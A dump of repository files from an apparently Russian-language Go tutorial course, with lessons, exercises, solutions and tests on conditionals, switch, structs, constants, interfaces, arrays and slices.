DomainForLocale("site.com", "") // en.site.com 7 | DomainForLocale("site.com", "ru") // ru.site.com 8 | ``` 9 | -------------------------------------------------------------------------------- /modules/10-basics/50-if-else/ru/README.md: -------------------------------------------------------------------------------- 1 | Условия в Go представлены привычной конструкцией `if else`. В условии должно быть строго выражение логического типа. Следующий пример вернет ошибку компиляции: 2 | 3 | ```go 4 | if "hi" { // non-bool "hi" (type string) used as if condition 5 | // какой-то код 6 | } 7 | ``` 8 | 9 | Корректный пример: 10 | 11 | ```go 12 | package main 13 | 14 | import ( 15 | "fmt" 16 | "strings" 17 | ) 18 | 19 | func statusByName(name string) string { 20 | // функция проверяет, что строка name начинается с подстроки "Mr." 21 | if strings.HasPrefix(name, "Mr.") { 22 | return "married man" 23 | } else if strings.HasPrefix(name, "Mrs.") { 24 | return "married woman" 25 | } else { 26 | return "single person" 27 | } 28 | } 29 | 30 | func main() { 31 | n := "Mr. Doe" 32 | fmt.Printf("%s is a %s\n", n, statusByName(n)) 33 | // => Mr. Doe is a married man 34 | 35 | n = "Mrs. Berry" 36 | fmt.Printf("%s is a %s\n", n, statusByName(n)) 37 | // => Mrs. Berry is a married woman 38 | 39 | n = "Karl" 40 | fmt.Printf("%s is a %s\n", n, statusByName(n)) 41 | // => Karl is a single person 42 | } 43 | ``` 44 | 45 | Логическое выражение пишется после `if` без скобок. `else if` можно написать только раздельно. 46 | -------------------------------------------------------------------------------- /modules/10-basics/50-if-else/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Условные конструкции 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — If 6 | statements](https://go.dev/ref/spec#If_statements) 7 | -------------------------------------------------------------------------------- /modules/10-basics/50-if-else/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | // BEGIN 8 | 9 | // DomainForLocale adds a subdomain to a domain depending on locale. 10 | func DomainForLocale(domain, locale string) string { 11 | if locale == "" { 12 | locale = "en" 13 | } 14 | 15 | return fmt.Sprintf("%s.%s", locale, domain) 16 | } 17 | 18 | // END 19 | -------------------------------------------------------------------------------- /modules/10-basics/50-if-else/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestDomainForLocale(t *testing.T) { 10 | a := assert.New(t) 11 | a.Equal("en.code-basics.com", DomainForLocale("code-basics.com", "")) 12 | a.Equal("ru.code-basics.com", DomainForLocale("code-basics.com", "ru")) 13 | a.Equal("vn.code-basics.com", DomainForLocale("code-basics.com", "vn")) 14 | } 15 | -------------------------------------------------------------------------------- /modules/10-basics/55-switch/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/10-basics/55-switch/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | Реализуйте функцию `ModifySpaces(s, mode string) string`, которая изменяет строку `s` в зависимости от переданного режима `mode`. Подробности в примере: 2 | 3 | ```go 4 | // когда передается mode "dash", нужно заменить все пробелы на дефисы "-" 5 | ModifySpaces("hello world", "dash") // hello-world 6 | 7 | // когда передается mode "underscore", нужно заменить все пробелы на нижние подчеркивания "_" 8 | ModifySpaces("hello world", "underscore") // hello_world 9 | 10 | // когда передается неизвестный или пустой mode, заменяем все пробелы на звездочки "*" 11 | ModifySpaces("hello world", "unknown") // hello*world 12 | ModifySpaces("hello world", "") // hello*world 13 | ``` 14 | 15 | Для замены символов в строке существует функция `ReplaceAll(s, old, new string) string` из пакета `strings`: 16 | 17 | ```go 18 | strings.ReplaceAll("hello world!", "world!", "buddy!") // hello buddy! 19 | 20 | strings.ReplaceAll("one two three", " ", "_") // one_two_three 21 | ``` 22 | -------------------------------------------------------------------------------- /modules/10-basics/55-switch/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | В Go присутствует единственная альтернатива `if` — конструкция `switch`. Для этой конструкции используется стандартный синтаксис, но логика работы отличается от С-подобных языков. Когда срабатывает условие какого-либо `case`, программа выполняет блок и выходит из конструкции `switch` без необходимости писать `break`: 3 | 4 | ```go 5 | x := 10 6 | 7 | switch x { 8 | default: // default всегда выполняется последним независимо от расположения в конструкции 9 | fmt.Println("default case") 10 | case 10: 11 | fmt.Println("case 10") 12 | } 13 | ``` 14 | 15 | Вывод: 16 | 17 | ```text 18 | case 10 19 | ``` 20 | 21 | Однако при необходимости можно реализовать логику С-подобных языков и «провалиться» в следующий `case`: 22 | 23 | ```go 24 | x := 10 25 | 26 | switch { // выражение отсутствует. Для компилятора выглядит как: switch true 27 | default: 28 | fmt.Println("default case") 29 | case x == 10: 30 | fmt.Println("equal 10 case") 31 | fallthrough 32 | case x < 10: 33 | fmt.Println("less 10 case") 34 | } 35 | ``` 36 | 37 | Output: 38 | 39 | ```text 40 | equal 10 case 41 | less 10 case 42 | ``` 43 | 44 | В примере, выполнится условие `x == 10`, а затем, благодаря `fallthrough` сразу же выполнится и код следующего блока, игнорируя при этом условие `x < 10`. 45 | -------------------------------------------------------------------------------- /modules/10-basics/55-switch/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Альтернативная условная конструкция 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — Switch 6 | statements](https://go.dev/ref/spec#Switch_statements) 7 | -------------------------------------------------------------------------------- /modules/10-basics/55-switch/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "strings" 5 | ) 6 | 7 | // BEGIN 8 | 9 | // ModifySpaces modifies string s depending on mode. 10 | func ModifySpaces(s, mode string) string { 11 | var replacement string 12 | 13 | switch mode { 14 | case "dash": 15 | replacement = "-" 16 | case "underscore": 17 | replacement = "_" 18 | default: 19 | replacement = "*" 20 | } 21 | 22 | return strings.ReplaceAll(s, " ", replacement) 23 | } 24 | 25 | // END 26 | -------------------------------------------------------------------------------- /modules/10-basics/55-switch/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestModifySpaces(t *testing.T) { 10 | a := assert.New(t) 11 | a.Equal("-hello-world-", ModifySpaces(" hello world ", "dash")) 12 | a.Equal("_how_r_u_doing_", ModifySpaces(" how r u doing ", "underscore")) 13 | a.Equal("*great*", ModifySpaces(" great ", "")) 14 | a.Equal("*nice*", ModifySpaces(" nice ", "unknown")) 15 | } 16 | -------------------------------------------------------------------------------- /modules/10-basics/60-structs/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/10-basics/60-structs/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | На сервер приходит HTTP-запрос. Тело запроса парсится и мапится в модель. Сразу работать с моделью нельзя, потому что данные могут быть неверными. 2 | Реализуйте функцию `Validate(req UserCreateRequest) string`, которая валидирует запрос и возвращает строку с ошибкой "invalid request", если модель невалидна. Если запрос корректный, то функция возвращает пустую строку. Правила валидации и структура модели описаны ниже. Не используйте готовые библиотеки и опишите правила самостоятельно. 3 | 4 | ```go 5 | type UserCreateRequest struct { 6 | FirstName string // не может быть пустым; не может содержать пробелы 7 | Age int // не может быть 0 или отрицательным; не может быть больше 150 8 | } 9 | ``` 10 | 11 | Наличие пробелов можно проверить с помощью функции `strings.Contains(firstName, " ")`. 12 | -------------------------------------------------------------------------------- /modules/10-basics/60-structs/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | В Go нет классов и привычной реализации ООП. Вместо классов в языке используются структуры — наборы полей, имеющих название и тип данных. Объявление структуры имеет следующий вид: 3 | 4 | ```go 5 | type Person struct { 6 | // [название поля] [тип данных] 7 | Name string 8 | Age int 9 | } 10 | 11 | func main() { 12 | p := Person{Name: "John", Age: 25} 13 | 14 | p.Name // "John" 15 | p.Age // 25 16 | } 17 | ``` 18 | 19 | Структуру можно инициализировать, не передавая значения. В этом случае каждое поле примет свое «нулевое» значение: 20 | 21 | ```go 22 | func main() { 23 | p := Person{} 24 | 25 | p.Name // "" 26 | p.Age // 0 27 | } 28 | ``` 29 | 30 | Регистр первой буквы в названии структуры и полей означает публичность точно так же, как в переменных и функциях. Если первая буква заглавная, то структуру можно инициализировать во внешних пакетах. В противном случае она доступна только в рамках текущего пакета: 31 | 32 | ```go 33 | type Person struct { // структура публична 34 | Name string // поле публично 35 | 36 | wallet wallet // поле приватно: можно обращаться только внутри текущего пакета 37 | } 38 | 39 | type wallet struct { // структура приватна: можно инициализировать только внутри текущего пакета 40 | id string 41 | moneyAmount float64 42 | } 43 | ``` 44 | 45 | У любого поля структуры можно указать теги. Они используются для метаинформации о поле для сериализации, валидации, маппинга данных из БД и тд. Тег указывается после типа данных через бектики: 46 | 47 | ```go 48 | type User struct { 49 | ID int64 `json:"id" validate:"required"` 50 | Email string `json:"email" validate:"required,email"` 51 | FirstName string `json:"first_name" validate:"required"` 52 | } 53 | ``` 54 | 55 | Тег `json` используется для названий полей при сериализации/десериализации структуры в json и обратно: 56 | 57 | ```go 58 | package main 59 | 60 | import ( 61 | "encoding/json" 62 | "fmt" 63 | ) 64 | 65 | type User struct { 66 | ID int64 `json:"id"` 67 | Email string `json:"email"` 68 | FirstName string `json:"first_name"` 69 | } 70 | 71 | func main() { 72 | u := User{} 73 | u.ID = 22 74 | u.Email = "test@test.com" 75 | u.FirstName = "John" 76 | 77 | bs, _ := json.Marshal(u) 78 | 79 | fmt.Println(string(bs)) // {"id":22,"email":"test@test.com","first_name":"John"} 80 | } 81 | ``` 82 | 83 | Тег `validate` используется Go-валидатором. В следующем примере присутствует вызов функции у структуры `v.Struct(u)`. Функции структур — методы — мы разберем подробно в соответствующем уроке, а пока просто посмотрите, как происходит вызов: 84 | 85 | ```go 86 | package main 87 | 88 | import ( 89 | "fmt" 90 | "github.com/go-playground/validator/v10" 91 | ) 92 | 93 | type User struct { 94 | ID int64 `validate:"required"` 95 | Email string `validate:"required,email"` 96 | FirstName string `validate:"required"` 97 | } 98 | 99 | func main() { 100 | // создали пустую структуру, чтобы проверить валидацию 101 | u := User{} 102 | 103 | // создаем валидатор 104 | v := validator.New() 105 | 106 | // метод Struct валидирует переданную структуру и возвращает ошибку `error`, если какое-то поле некорректно 107 | fmt.Println(v.Struct(u)) 108 | } 109 | ``` 110 | 111 | Вывод программы: 112 | 113 | ```text 114 | Key: 'User.ID' Error:Field validation for 'ID' failed on the 'required' tag 115 | Key: 'User.Email' Error:Field validation for 'Email' failed on the 'required' tag 116 | Key: 'User.FirstName' Error:Field validation for 'FirstName' failed on the 'required' tag 117 | ``` 118 | -------------------------------------------------------------------------------- /modules/10-basics/60-structs/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Структуры 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — Struct 6 | types](https://go.dev/ref/spec#Struct_types) 7 | -------------------------------------------------------------------------------- /modules/10-basics/60-structs/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "strings" 5 | ) 6 | 7 | // UserCreateRequest is a request to create a new user. 8 | type UserCreateRequest struct { 9 | FirstName string 10 | Age int 11 | } 12 | 13 | // BEGIN 14 | 15 | var ( 16 | invalidRequest = "invalid request" 17 | ) 18 | 19 | // Validate validates the UserCreateRequest and returns an error if the model is invalid. 20 | func Validate(req UserCreateRequest) string { 21 | if req.FirstName == "" || strings.Contains(req.FirstName, " ") { 22 | return invalidRequest 23 | } 24 | 25 | if req.Age <= 0 || req.Age > 150 { 26 | return invalidRequest 27 | } 28 | 29 | return "" 30 | } 31 | 32 | // END 33 | -------------------------------------------------------------------------------- /modules/10-basics/60-structs/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestValidate(t *testing.T) { 10 | a := assert.New(t) 11 | a.Equal("invalid request", Validate(UserCreateRequest{ 12 | FirstName: "", 13 | Age: 0, 14 | })) 15 | a.Equal("invalid request", Validate(UserCreateRequest{ 16 | FirstName: "John", 17 | Age: -5, 18 | })) 19 | a.Equal("invalid request", Validate(UserCreateRequest{ 20 | FirstName: "Andy", 21 | Age: 0, 22 | })) 23 | a.Equal("invalid request", Validate(UserCreateRequest{ 24 | FirstName: "Karl", 25 | Age: 151, 26 | })) 27 | a.Equal("invalid request", Validate(UserCreateRequest{ 28 | FirstName: "", 29 | Age: 5, 30 | })) 31 | a.Equal("invalid request", Validate(UserCreateRequest{ 32 | FirstName: " Henry", 33 | Age: 15, 34 | })) 35 | a.Equal("invalid request", Validate(UserCreateRequest{ 36 | FirstName: "John Smith", 37 | Age: 15, 38 | })) 39 | a.Equal("", Validate(UserCreateRequest{ 40 | FirstName: "John", 41 | Age: 150, 42 | })) 43 | a.Equal("", Validate(UserCreateRequest{ 44 | FirstName: "Susan", 45 | Age: 30, 46 | })) 47 | } 48 | -------------------------------------------------------------------------------- /modules/10-basics/65-const/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/10-basics/65-const/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | В больших проектах часто используется gRPC — высокопроизводительный RPC (Remote Procedure Call)-фреймворк для коммуникации между микросервисами. Ошибки в gRPC стандартизированы и представлены в виде строк для пользователя, либо в виде чисел для компьютера. 2 | 3 | Представим, что нам нужно написать конвертер ошибок в числовой формат для gRPC. Реализуйте функцию `ErrorMessageToCode(msg string) int`, которая возвращает числовой код для заданного значения. Список сообщений и соответствующих кодов: 4 | 5 | ```text 6 | OK = 0 7 | CANCELLED = 1 8 | UNKNOWN = 2 9 | ``` 10 | 11 | В реальности список намного шире. Мы для простоты ограничимся тремя ошибками. Учтите, что если в функцию передать неизвестную ошибку, она должна вернуть код ошибки для сообщения *UNKNOWN*. 12 | -------------------------------------------------------------------------------- /modules/10-basics/65-const/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Константы — это постоянные значения, которые инициализируются один раз и не изменяются в течение всего выполнения программы. В Go константы объявляются через ключевое слово `const`: 3 | 4 | ```go 5 | const [название] [тип данных] = [значение] 6 | ``` 7 | 8 | На практике тип данных не указывается, и несколько констант принято объявлять в рамках одного блока `const`: 9 | 10 | ```go 11 | const ( 12 | StatusOk = 200 13 | StatusNotFound = 404 14 | ) 15 | ``` 16 | 17 | Только некоторые типы данных можно присвоить константе: строки, символы, числа, логический тип: 18 | 19 | ```go 20 | package main 21 | 22 | type Person struct { 23 | } 24 | 25 | func main() { 26 | // такие константы допустимы 27 | const ( 28 | num = 20 29 | str = "hey" 30 | isValid = true 31 | ) 32 | 33 | // нельзя объявить структуру как константу 34 | const p = Person{} // ошибка компиляции: const initializer Person{} is not a constant 35 | } 36 | ``` 37 | 38 | Регистр первой буквы указывает на публичность/приватность константы: 39 | 40 | ```go 41 | const ( 42 | // публичная константа, которую можно использовать во внешних пакетах 43 | StatusOk = 200 44 | 45 | // приватная константа, доступная только в рамках текущего пакета 46 | statusInternalError = 500 47 | ) 48 | ``` 49 | 50 | Константы можно объявлять на уровне функции, либо пакета: 51 | 52 | ```go 53 | package main 54 | 55 | import "fmt" 56 | 57 | const defaultStatus = 200 58 | 59 | func main() { 60 | const status = 404 61 | 62 | fmt.Println("default status:", defaultStatus) // default status: 200 63 | fmt.Println("current status:", status) // current status: 404 64 | } 65 | ``` 66 | 67 | Для последовательных числовых констант следует использовать идентификатор iota, который присвоит для списка чисел значения от его текущей позиции: 68 | 69 | ```go 70 | package main 71 | 72 | import "fmt" 73 | 74 | const ( 75 | zero = iota 76 | one 77 | two 78 | three 79 | ) 80 | 81 | const ( 82 | a = iota 83 | b = 42 84 | c = iota 85 | d 86 | ) 87 | 88 | func main() { 89 | fmt.Println(zero, one, two, three) // 0 1 2 3 90 | fmt.Println(a, b, c, d) // 0 42 2 3 91 | } 92 | ``` 93 | -------------------------------------------------------------------------------- /modules/10-basics/65-const/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Константы 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — 6 | Constant](https://golang.org/ref/spec#Constants) 7 | - > 8 | [The Go Programming Language Specification — Constant 9 | declarations](https://golang.org/ref/spec#Constant_declarations) 10 | - > 11 | [The Go Programming Language Specification — 12 | Iota](https://golang.org/ref/spec#Iota) 13 | -------------------------------------------------------------------------------- /modules/10-basics/65-const/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | // BEGIN 4 | 5 | // error messages 6 | const ( 7 | OkMsg = "OK" 8 | CancelledMsg = "CANCELLED" 9 | ) 10 | 11 | // error codes 12 | const ( 13 | OkCode = iota 14 | CancelledCode 15 | UnknownCode 16 | ) 17 | 18 | // ErrorMessageToCode returns a gRPC error code depending on error message. 19 | func ErrorMessageToCode(msg string) int { 20 | switch msg { 21 | case OkMsg: 22 | return OkCode 23 | case CancelledMsg: 24 | return CancelledCode 25 | } 26 | 27 | return UnknownCode 28 | } 29 | 30 | // END 31 | -------------------------------------------------------------------------------- /modules/10-basics/65-const/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestErrorMessageToCode(t *testing.T) { 10 | a := assert.New(t) 11 | a.Equal(0, ErrorMessageToCode("OK")) 12 | a.Equal(1, ErrorMessageToCode("CANCELLED")) 13 | a.Equal(2, ErrorMessageToCode("UNKNOWN")) 14 | a.Equal(2, ErrorMessageToCode("err")) 15 | } 16 | -------------------------------------------------------------------------------- /modules/10-basics/70-inheritance-interfaces/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/10-basics/70-inheritance-interfaces/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Реализуйте интерфейс `Voicer` для структур `Cat`, `Cow` и `Dog` так, чтобы при вызове метода `Voice` экземпляр структуры `Cat` возвращал строку "Мяу", экземпляр `Cow` строку "Мууу", а экземпляр `Dog` сообщение `Гав`: 3 | 4 | ```go 5 | cat := Cat{} 6 | dog := Dog{} 7 | cow := Cow{} 8 | 9 | fmt.Println(cat.Voice()) // Мяу 10 | fmt.Println(dog.Voice()) // Гав 11 | fmt.Println(cow.Voice()) // Мууу 12 | ``` 13 | -------------------------------------------------------------------------------- /modules/10-basics/70-inheritance-interfaces/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | В языке Go отсутствует понятие наследования в классическом виде (нет ключевого слова extends, как, например, в Java). 3 | Однако терять преимущества, которые даёт механизм наследования, разработчики Go не хотели. 4 | Поэтому всё тоже самое, что можно сделать в других языках программирования за счёт наследования классов, можно реализовать в Golang другими средствами. 5 | 6 | Для начала определим, что даёт нам наследование: 7 | 1. Повторное использование кода: класс-наследник получает всё содержимое класса-предка и добавляет своё. 8 | 2. Динамический полиморфизм: переменная, у которой типом данных является некий базовый класс, может ссылаться как на объекты этого базового класса, так и на объекты его класса-наследника. 9 | 3. Динамическая диспетчеризация: Метод с одним и тем же названием может иметь разную реализацию в классе-предке и классе-наследнике. 10 | 11 | В качестве элегантного решения проблемы повторного использования кода Golang предлагает использование композиции и встраивания. 12 | Функционал полиморфизма и динамической диспетчеризации достигается за счёт использования интерфейсов. 13 | 14 | ## Композиция 15 | 16 | Рассмотрим пример использования композиции в качестве инструмента повторного использования кода. 17 | Допустим мы имеем структуру, которая описывает Машину (`Сar`). 18 | Если нам необходимо получить все возможности структуры `Car` и дополнить их в классе Пожарная машина (`FireEngine`), то мы можем использовать композицию (сделать `FireEngine` членом `Car`): 19 | 20 | ```go 21 | type Car struct { 22 | // … содержимое 23 | } 24 | 25 | type FireEngine struct { 26 | basis Car 27 | // … дополнение 28 | } 29 | ``` 30 | 31 | ## Встраивание 32 | 33 | Теперь рассмотрим решение проблемы повторного использования кода через Встраивание. 34 | Допустим структура `Car` имеет метод `Drive`. Мы должны скопировать точное поведение метода `Drive` в структуре `FireEngine`. 35 | Для этого мы можем применить делегирование: 36 | 37 | ```go 38 | type Car struct { 39 | // … содержимое 40 | } 41 | 42 | func (c *Car) Drive() { … } 43 | 44 | type FireEngine struct { 45 | basis Car 46 | // … дополнение 47 | } 48 | 49 | func (fe *FireEngine) Drive() { fe.basis.Drive() } 50 | ``` 51 | 52 | Однако оно ведёт к дублированию кода. Поэтому имеет механизм Встраивание, что позволяет значительно сократить код: 53 | 54 | ```go 55 | type Car struct { 56 | // … содержимое 57 | } 58 | 59 | func (c *Car) Drive() { … } 60 | 61 | type FireEngine struct { 62 | Car 63 | // … дополнение 64 | } 65 | ``` 66 | 67 | ## Интерфейсы 68 | 69 | Теперь на очереди функционал полиморфизма и динамической диспетчеризации. 70 | Допустим, что наше приложение расширяется и в ней появляется всё больше видов специализированных машин: 71 | Полицейская Машина (`PoliceCar`), Машина Скорой Помощи (`AmbulanceCar`), Поливомоечная машина (`WateringCar`). 72 | Все они должны иметь метод `Drive`, однако реализует его каждая по-разному. 73 | Например, `PoliceCar` едет со звуком сирены, а `WateringCar` во время поездки поливает дорогу водой. 74 | То есть, мы должны определить "поведение", которое должно присутствовать в каждой из этих структур, но реализовано оно может быть по-разному. 75 | В таком случае на сцену и выходят интерфейсы (`interfaces`). 76 | 77 | Интерфейсы определяют, что тип делает, а не кем он является. 78 | Методы должны отражать поведение типа, поэтому интерфейсы объявляются с набором методов, которые тип должен обязательно иметь (-able). 79 | В нашем случае каждая из указанных выше структур должна иметь метод `Drive`. 80 | 81 | ```go 82 | type IDriveable interface { 83 | Drive() 84 | } 85 | 86 | type Car struct { 87 | // … 88 | } 89 | 90 | type PoliceCar struct { 91 | // … 92 | } 93 | 94 | func (c Car) Drive() { 95 | fmt.Println("Просто еду по дороге") 96 | } 97 | 98 | func (pc PoliceCar) Drive() { 99 | fmt.Println("Еду по дороге с мигалкой. Виу-виу!") 100 | } 101 | 102 | func main() { 103 | cars := []IDriveable{&Car{}, &PoliceCar{}} 104 | for _, vehicle := range cars { 105 | vehicle.Drive() 106 | // => Просто еду по дороге 107 | // => Еду по дороге с мигалкой. Виу-виу! 108 | } 109 | } 110 | ``` 111 | 112 | Именование интерфейсов в виде "глагол + able" стандартно для большинства языков программирования. 113 | Однако в Go интерфейсы именуются немного по-другому. В данном случае интерфейс должен называться Driver. 114 | Подробнее про нейминг можно почитать в официальной документации Golang. 115 | 116 | Так никакого явного указание реализации не требуется. 117 | Любой тип, который предоставляет методы, которые указаны в интерфейсе, можно считать реализующим интерфейс. 118 | -------------------------------------------------------------------------------- /modules/10-basics/70-inheritance-interfaces/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Наследование и интерфейсы 3 | tips: 4 | - > 5 | [Interfaces and other 6 | types](https://go.dev/doc/effective_go#interfaces_and_types) 7 | 8 | [Interface names](https://go.dev/doc/effective_go#interface-names) 9 | -------------------------------------------------------------------------------- /modules/10-basics/70-inheritance-interfaces/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | type Voicer interface { 4 | Voice() string 5 | } 6 | 7 | type Cat struct { 8 | // … 9 | } 10 | 11 | type Cow struct { 12 | // … 13 | } 14 | 15 | type Dog struct { 16 | // … 17 | } 18 | 19 | // BEGIN 20 | 21 | func (c Cat) Voice() string { 22 | return "Мяу" 23 | } 24 | 25 | func (cw Cow) Voice() string { 26 | return "Мууу" 27 | } 28 | 29 | func (d Dog) Voice() string { 30 | return "Гав" 31 | } 32 | 33 | // END 34 | -------------------------------------------------------------------------------- /modules/10-basics/70-inheritance-interfaces/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | ) 7 | 8 | func TestSumWorker(t *testing.T) { 9 | a := assert.New(t) 10 | 11 | cat := Cat{} 12 | dog := Dog{} 13 | cow := Cow{} 14 | 15 | a.Equal("Мяу", cat.Voice()) 16 | 17 | a.Equal("Гав", dog.Voice()) 18 | 19 | a.Equal("Мууу", cow.Voice()) 20 | } 21 | -------------------------------------------------------------------------------- /modules/10-basics/description.ru.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Основы 3 | description: | 4 | Go — строго типизированный язык с лаконичным и простым синтаксисом. В первом модуле мы рассмотрим базовые конструкции языка. 5 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/10-array/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/10-array/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Реализуйте функцию `SafeWrite(nums [5]int, i, val int) [5]int`, которая записывает значение `val` в массив `nums` по индексу `i`, если индекс находится в рамках массива. В противном случае массив возвращается без изменения. 3 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/10-array/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Массив — это коллекция однотипных значений фиксированной длины: 3 | 4 | ```go 5 | nums := [5]int{} 6 | ``` 7 | 8 | Длина массива указывается в квадратных скобках. Если не заполнить массив при инициализации, то массив будет состоять из нулевых значений данного типа: 9 | 10 | ```go 11 | nums := [5]int{} // [0, 0, 0, 0, 0] 12 | 13 | // длинная инициализация 14 | var nums [5]int // [0, 0, 0, 0, 0] 15 | ``` 16 | 17 | При попытке инициализации элементов за границей массива выходит ошибка компиляции: 18 | 19 | ```go 20 | nums := [1]int{1, 2} // array index 1 out of bounds [0:1] 21 | ``` 22 | 23 | Чтение и запись элементов массива происходит через квадратные скобки: 24 | 25 | ```go 26 | nums := [3]int{1, 2, 3} 27 | 28 | fmt.Println(nums[1]) // 2 29 | 30 | nums[2] = 33 31 | 32 | fmt.Println(nums) // [1, 2, 33] 33 | ``` 34 | 35 | Нумерация элементов массива начинается с 0. При попытке чтения/записи элементов за границей массива выходит ошибка компиляции: 36 | 37 | ```go 38 | words := [2]string{} 39 | 40 | words[2] // invalid array index 2 (out of bounds for 2-element array) 41 | ``` 42 | 43 | Массивы в Go передаются по значению, следовательно, любое изменение внутри функции не влияет на исходный массив: 44 | 45 | ```go 46 | package main 47 | 48 | import ( 49 | "fmt" 50 | ) 51 | 52 | func main() { 53 | a := [3]int{1, 2, 3} 54 | 55 | modifyArr(a) 56 | 57 | fmt.Println(a) // 1, 2, 3 58 | } 59 | 60 | func modifyArr(nums [3]int) { 61 | nums[0] = 35 62 | } 63 | ``` 64 | 65 | В Go есть встроенная функция `len()`, которая возвращает длину массива: 66 | 67 | ```go 68 | fmt.Println(len([5]int{1, 2, 3})) // 5 69 | fmt.Println(len([10]int{})) // 10 70 | ``` 71 | 72 | Так как массивы инициализируются с фиксированной длинной, то функция `len()` всегда возвращает одно и то же значение. 73 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/10-array/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Массивы 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — Array 6 | types](https://golang.org/ref/spec#Array_types) 7 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/10-array/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | // BEGIN 4 | 5 | // SafeWrite writes a value val in the array nums if the index i is in the array's boundaries. 6 | func SafeWrite(nums [5]int, i, val int) [5]int { 7 | if i >= 0 && i < len(nums) { 8 | nums[i] = val 9 | } 10 | 11 | return nums 12 | } 13 | 14 | // END 15 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/10-array/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestSafeWrite(t *testing.T) { 10 | a := assert.New(t) 11 | a.Equal([5]int{}, SafeWrite([5]int{}, -1, 10)) 12 | a.Equal([5]int{}, SafeWrite([5]int{}, -10, 10)) 13 | a.Equal([5]int{}, SafeWrite([5]int{}, 10, 10)) 14 | a.Equal([5]int{}, SafeWrite([5]int{}, 20, 10)) 15 | a.Equal([5]int{}, SafeWrite([5]int{}, 5, 10)) 16 | a.Equal([5]int{10, 2, 3, 4, 5}, SafeWrite([5]int{1, 2, 3, 4, 5}, 0, 10)) 17 | a.Equal([5]int{1, 2, 10, 4, 5}, SafeWrite([5]int{1, 2, 3, 4, 5}, 2, 10)) 18 | a.Equal([5]int{1, 2, 3, 4, 22}, SafeWrite([5]int{1, 2, 3, 4, 5}, 4, 22)) 19 | } 20 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/15-slice/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/15-slice/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | Реализуйте функцию `RemoveFirstElement(slice []int) []int`, которая удаляет первый элемент из слайса. Если в функцию передан пустой слайс, то функция также вернет пустой слайс. 2 | 3 | ```go 4 | original := []int{1, 2, 3, 4, 5} 5 | RemoveFirstElement(original) // [2 3 4 5] 6 | 7 | RemoveFirstElement([]int{}) // [] 8 | ``` 9 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/15-slice/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | На практике не часто сталкиваешься с массивами из-за ограниченной длины при строгой типизации. Вместо этого повсеместно используются слайсы. Слайс — это массив *неопределенной* длины (или динамический массив): 3 | 4 | ```go 5 | var nums = []int{1, 2, 3} 6 | 7 | nums := []int{1, 2, 3} 8 | ``` 9 | 10 | Чтение и запись осуществляется точно так же как в массивах: 11 | 12 | ```go 13 | nums := []int{1, 2, 3} 14 | 15 | nums[2] // 3 16 | 17 | nums[0] = 10 // [10, 2, 3] 18 | 19 | nums[:2] // [10, 2] 20 | ``` 21 